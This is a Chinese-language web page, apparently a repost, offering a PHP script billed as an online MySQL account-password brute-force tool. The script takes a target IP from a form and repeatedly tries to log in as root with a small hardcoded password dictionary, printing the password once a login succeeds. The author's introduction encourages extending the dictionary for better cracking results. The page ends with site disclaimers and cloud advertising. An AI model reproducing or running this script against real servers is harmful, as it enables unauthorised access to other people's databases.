PHP版Mysql爆破小指令碼_Mysql

來源:互聯網
上載者:User

Mysql PHP版本爆破小指令碼

(注意:從代碼可以看出使用者名稱是個變數,一般資料庫帳號不會變,所以使用者名稱沒用數組作為字典。密碼是用數組作為字典。字典可根據規矩擴充,破解的成功與失敗,就看你擴充的字典強大不強大了。用法:儲存代碼為MysqlDatabaseBlasting.php,瀏覽器開啟就可使用。 )

/* *  author:Bearcat 2016-10-5 */<html> <head>  <title>Mysql帳號密碼爆破工具</title>  <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head> <body>  <center>   <br><br>   <h1>MysqlDatabaseBlasting(Mysql帳號密碼線上爆破工具 V1.0)</h1>  <br><?php if(@$_POST['submit']){   $host = @$_POST['host'];   if($host!=""){    $username = "root";//使用者名稱字典    $password = array('','123456','admin','root','ccf304vn'); //密碼字典    echo "<hr><br>--------------------爆破狀態--------------------<br>";    echo "密碼錯誤次數:";    for ($i=0; $i <= count($password); $i++) {     if(@mysql_connect($host, $username, $password[$i])){       echo "<br><br><font color='red'>爆破成功--密碼-->".@$password[$i]."</font>";       break;     }else{       echo $i."、";       continue;     }    }    echo "<br>--------------------爆破結束--------------------<br><hr>";   }else{    echo "<script>alert('駭客,輸入資料庫IP地址')</script>";   } }?><br><br><br><br>  <form action="MysqlDatabaseBlasting.php" method="post">   資料庫IP地址:<input type="text" name="host"/>   <input type="submit" value="爆破" name="submit"/>  </form><center></body> </html>

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.